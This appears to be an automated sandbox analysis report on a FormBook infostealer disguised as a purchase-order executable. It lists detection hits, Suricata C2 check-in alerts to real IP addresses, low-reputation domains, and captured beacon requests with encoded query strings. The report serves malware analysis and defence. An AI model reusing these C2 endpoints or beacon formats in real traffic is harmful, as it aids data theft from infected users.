Windows Analysis Report
Purchase Order_ AEPL-2324-1126.exe

AI detected suspicious sample

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1627616041.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3868781566.00000000041B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1628046718.0000000003640000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3868947164.0000000004200000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3858711840.00000000002D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3871192963.00000000050A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1628574210.0000000003B50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3865120217.0000000002590000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Purchase Order_ AEPL-2324-1126.exe

Joe Sandbox ML: detected

Source: Purchase Order_ AEPL-2324-1126.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source:	Binary string: grpconv.pdb source: svchost.exe, 00000002.00000003.1596658465.0000000003024000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1594446965.000000000301B000.00000004.00000020.00020000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000003.00000002.3863139699.0000000000868000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: grpconv.pdbGCTL source: svchost.exe, 00000002.00000003.1596658465.0000000003024000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1594446965.000000000301B000.00000004.00000020.00020000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000003.00000002.3863139699.0000000000868000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: JkyHsYXxoyjW.exe, 00000003.00000002.3862718845.00000000005BE000.00000002.00000001.01000000.00000004.sdmp, JkyHsYXxoyjW.exe, 00000006.00000002.3858733307.00000000005BE000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: Purchase Order_ AEPL-2324-1126.exe, 00000000.00000003.1472280499.0000000004680000.00000004.00001000.00020000.00000000.sdmp, Purchase Order_ AEPL-2324-1126.exe, 00000000.00000003.1471126837.00000000044E0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1628089939.0000000003700000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1500202206.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1628089939.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1498259750.0000000003300000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000002.3869522876.00000000046BE000.00000040.00001000.00020000.00000000.sdmp, grpconv.exe, 00000005.00000003.1630288499.000000000436D000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000003.1627999026.00000000041BD000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000002.3869522876.0000000004520000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Purchase Order_ AEPL-2324-1126.exe, 00000000.00000003.1472280499.0000000004680000.00000004.00001000.00020000.00000000.sdmp, Purchase Order_ AEPL-2324-1126.exe, 00000000.00000003.1471126837.00000000044E0000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.1628089939.0000000003700000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1500202206.0000000003500000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1628089939.000000000389E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1498259750.0000000003300000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, grpconv.exe, 00000005.00000002.3869522876.00000000046BE000.00000040.00001000.00020000.00000000.sdmp, grpconv.exe, 00000005.00000003.1630288499.000000000436D000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000003.1627999026.00000000041BD000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000002.3869522876.0000000004520000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: svchost.pdb source: grpconv.exe, 00000005.00000002.3859947867.000000000279A000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000002.3870343838.0000000004B4C000.00000004.10000000.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000000.1694933032.0000000002C6C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.1925812145.00000000214CC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: svchost.pdbUGP source: grpconv.exe, 00000005.00000002.3859947867.000000000279A000.00000004.00000020.00020000.00000000.sdmp, grpconv.exe, 00000005.00000002.3870343838.0000000004B4C000.00000004.10000000.00040000.00000000.sdmp, JkyHsYXxoyjW.exe, 00000006.00000000.1694933032.0000000002C6C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000008.00000002.1925812145.00000000214CC000.00000004.80000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,	0_2_00452492
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00442886
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	0_2_004788BD
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,	0_2_004339B6
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,	0_2_0045CAFA
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	0_2_00431A86
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,	0_2_0044BD27
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0045DE8F FindFirstFileW,FindClose,	0_2_0045DE8F
Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe	Code function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,	0_2_0044BF8B
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 5_2_002EC5F0 FindFirstFileW,FindNextFileW,FindClose,	5_2_002EC5F0

Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 4x nop then xor eax, eax		5_2_002D9B30
Source: C:\Windows\SysWOW64\grpconv.exe	Code function: 4x nop then mov ebx, 00000004h		5_2_043004E8

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49728 -> 198.50.252.64:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49709 -> 38.47.232.196:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49711 -> 38.47.232.196:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49740 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49720 -> 195.110.124.133:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49739 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49754 -> 154.38.114.205:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49744 -> 62.149.128.40:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49737 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49726 -> 198.50.252.64:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49703 -> 81.2.196.19:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49712 -> 38.47.232.196:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49714 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49753 -> 154.38.114.205:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49760 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49741 -> 62.149.128.40:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49729 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2856318 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M4 : 192.168.2.7:49741 -> 62.149.128.40:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49759 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49742 -> 62.149.128.40:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49746 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49704 -> 103.21.221.4:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49717 -> 195.110.124.133:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49735 -> 142.250.186.51:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49718 -> 195.110.124.133:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49751 -> 154.198.53.36:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49707 -> 103.21.221.4:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49752 -> 154.198.53.36:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49716 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49705 -> 103.21.221.4:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49736 -> 142.250.186.51:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49734 -> 142.250.186.51:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49723 -> 162.0.238.246:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49756 -> 154.38.114.205:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49757 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49758 -> 84.32.84.32:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49731 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49710 -> 38.47.232.196:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49725 -> 198.50.252.64:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49749 -> 154.198.53.36:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49722 -> 162.0.238.246:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49708 -> 103.21.221.4:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49724 -> 162.0.238.246:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49743 -> 62.149.128.40:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49750 -> 154.198.53.36:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49747 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49727 -> 198.50.252.64:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49732 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49738 -> 199.59.243.227:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49719 -> 195.110.124.133:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49730 -> 85.159.66.93:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49715 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49713 -> 188.114.97.3:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49733 -> 142.250.186.51:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49745 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49721 -> 162.0.238.246:80
Source: Network traffic	Suricata IDS: 2855465 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (GET) M2 : 192.168.2.7:49748 -> 3.33.130.190:80
Source: Network traffic	Suricata IDS: 2855464 - Severity 1 - ETPRO MALWARE FormBook CnC Checkin (POST) M3 : 192.168.2.7:49755 -> 154.38.114.205:80

Performs DNS queries to domains with low reputation

Source:	DNS query: www.rtpngk.xyz
Source:	DNS query: www.shopdj00.xyz
Source:	DNS query: www.085bet.xyz

Source: Joe Sandbox View	IP Address: 198.50.252.64 198.50.252.64
Source: Joe Sandbox View	IP Address: 62.149.128.40 62.149.128.40

Source: Joe Sandbox View	ASN Name: NAMECHEAP-NETUS NAMECHEAP-NETUS
Source: Joe Sandbox View	ASN Name: OVHFR OVHFR
Source: Joe Sandbox View	ASN Name: COGENT-174US COGENT-174US

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\Purchase Order_ AEPL-2324-1126.exe

Code function: 0_2_004422FE InternetQueryDataAvailable,InternetReadFile,

0_2_004422FE

Source: global traffic	HTTP traffic detected: GET /ye3m/?mtJD_=fvdlJ2L&76=BO45+0u1emCE8p481TGhlGJRfjijEniKMfSBNkuCyA4PSNUX9OtmTTSsRjXRpS6xcva9ZoEmbKYu7sV13UJQ2VHV0V6wg3gLfDQvPBhIAhk7jspRbUMiRCt8g415t+g4yzmjfyP2O5kn HTTP/1.1Host: www.kovallo.cloudAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Source: global traffic	HTTP traffic detected: GET /phdl/?76=RacNMaTPN8PTLvXR9NF5eW2iQDieTkk5np6gf4eeXsIapVFDjThj3jiQkVzZmExioktz4vqZ0cfToK8eCYqJupED41Yr5DEkLX4m9t/uleGnewHbryEHDsS5u5fKmXjTxI+rab/4BaXG&mtJD_=fvdlJ2L HTTP/1.1Host: www.tempatmudisini01.clickAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Source: global traffic	HTTP traffic detected: GET /2lu6/?76=PbAz0EfTKowYn11d9L8KeIyoxyngBHbvlbcT88jVQuwl479Ud/v94CC+Ex+uZY8Wq5vHWUIm1erRj2VcHYbUz5WJs9RaUjKCQ9bJpumP+lrR5hAi4gPt8UgQTkM/uAhjmqXAbZ9LXA/l&mtJD_=fvdlJ2L HTTP/1.1Host: www.zz82x.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Source: global traffic	HTTP traffic detected: GET /yhsl/?76=5EuG8q3RnsmESHA8JVSnlizd0lq9q8glk1nzqEFI9PKQqCJAfa6foAENeypwFyQKjeyo2Uxd0f+FrZwD+wtTCitgNQzIzPqlhTclUhz8bxA3FGZPimHZW40XTk/UgPnbZQA2uTwzCdxs&mtJD_=fvdlJ2L HTTP/1.1Host: www.rtpngk.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Source: global traffic	HTTP traffic detected: GET /7m8b/?76=TUpvsdJ0cs84UNNTqqi2wOMj02pU6E0u1A17Lrv5qeBoN9jB/n++wLdBNnRIp/FdR+Ur2HOcuniO4FwpOA1JnwQ/5G5V4geMmZeqJSORp3yZ3MMA5ZHYDD9/sYl5a677eMHhDnCl+rJp&mtJD_=fvdlJ2L HTTP/1.1Host: www.bluegirls.blogAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Source: global traffic	HTTP traffic detected: GET /r48b/?76=+EEyxXn2ifp2lL4tSgcDej4IKTVVubAXRia9ZGYNaFbCIrCUSrCroJ1ltkc3MgDLuvAkyd1hc3+ySf3CEzuTuCrdjxUcb6kt1JtpL21e+JT78DJZMGSekOhJaCk+Ht+qyblm0D0jZ5Dr&mtJD_=fvdlJ2L HTTP/1.1Host: www.mistsui.topAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Source: global traffic	HTTP traffic detected: GET /s5b1/?mtJD_=fvdlJ2L&76=Yf0zZ3jBoCdhuzLDLj91Ws8HprJqzGXqNpWi9hWRQAr/e4SYtEvUr1BCdCQtsdxZ1OdzkDb6zzma4zXRjMwopMxEpmqXXuUrncqDeB64G5UYzEp6MWYeviVvJyEh+kzS7xrr7DyksnLe HTTP/1.1Host: www.solisbysobha.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Source: global traffic	HTTP traffic detected: GET /hel6/?76=o5DytMykkaK7sxNXVTYwbJ0nas7Lrf6+xSFmwBlJgutuTdBVL+3Ld5pnGP5bgJpbKreJsN3lh4gHWJ53LIGu8bA2yj0UpLyBdZ5DgjAe+Y8tl6D74j+Er65lZkEVlLJH6zUxwY6EHphi&mtJD_=fvdlJ2L HTTP/1.1Host: www.sppsuperplast.onlineAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Source: global traffic	HTTP traffic detected: GET /i06p/?76=Vpg7jNNJFscOYvB4AFVvnCABD6vaG9WwQKsmOhPgVM6zGb6O3kTWptBkzi24RSKPCbgQwpMWpgmK77FhrxpjTuP7OZT72bn7m/6/2woT1FIIWI10rq/bHfXKD/PO7OFh2Gu8aqkRsDAe&mtJD_=fvdlJ2L HTTP/1.1Host: www.deefbank.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Source: global traffic	HTTP traffic detected: GET /8dtf/?76=n4Dn6BhRGXgBCc8VvzeMEOXmG0Elz5lGLePoshfoMkwgvj9XBMT8fCSzJRDbu+yD5cpoNGctvaCBzFD7eo0ZE+1Jdoxfd5POcRUtDqQJ70nv82NNqRSJamvbeDYUZbHlz6Y0RwscVapw&mtJD_=fvdlJ2L HTTP/1.1Host: www.donante-de-ovulos.bizAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Source: global traffic	HTTP traffic detected: GET /uesf/?76=z4JBjkhdawOvrgQ3/n9w4VhuG3+mvNpQWeVdJRkYJDu2YFtbuhkNmpkohWu/kto2VaQ1uMJYrSrWzkHi22xejudxEXfvpm+SoyIUt5G98Vt9xyNVSrHPgcfLvBC9CdBqRcbgarcrONxp&mtJD_=fvdlJ2L HTTP/1.1Host: www.chalet-tofane.netAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Source: global traffic	HTTP traffic detected: GET /gxfy/?76=CIIanhHRMgNozks5RGfJdUNX3+emzbgNf/VP7kRsN6vN0WzMvG3G9UIg+8jiJKvurCAh0c8eANy2Q8bdeXyR4StCmoJcjfzG5pIm3u+OPQ8SG4xTUPnFxO8c++BkIyDygdbta7ejYT5g&mtJD_=fvdlJ2L HTTP/1.1Host: www.greekhause.orgAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Source: global traffic	HTTP traffic detected: GET /1zd7/?76=bC1YIRSSuZYlVnS9hsNuhorKbcQ6ntdnx8KhpmCqECpWzN5SjPNMNLi+QdUYzo4UT/zMJg8CHwvIOMobHOZol4uZ599UMLQvIcSN6ebgMaMOQVLVUFO0QXCtqgKNb3wKU9pkkDiIxWQO&mtJD_=fvdlJ2L HTTP/1.1Host: www.085bet.xyzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Source: global traffic	HTTP traffic detected: GET /xedw/?mtJD_=fvdlJ2L&76=iU86b+DQDkc5+HCYi3wksyID7wIiKcPt1qIOrYUg5TrYQuRHlXYNPzVksVl/dHByk+JFXw+Aj1EfBi5c9qhjsEIOS1JRVa1wxHxBhUP989bRn8j6x1DUcRzlbseaRz6IPahZbjf8tblS HTTP/1.1Host: www.2024tengxun361.buzzAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8Accept-Language: en-US,en;q=0.9Connection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
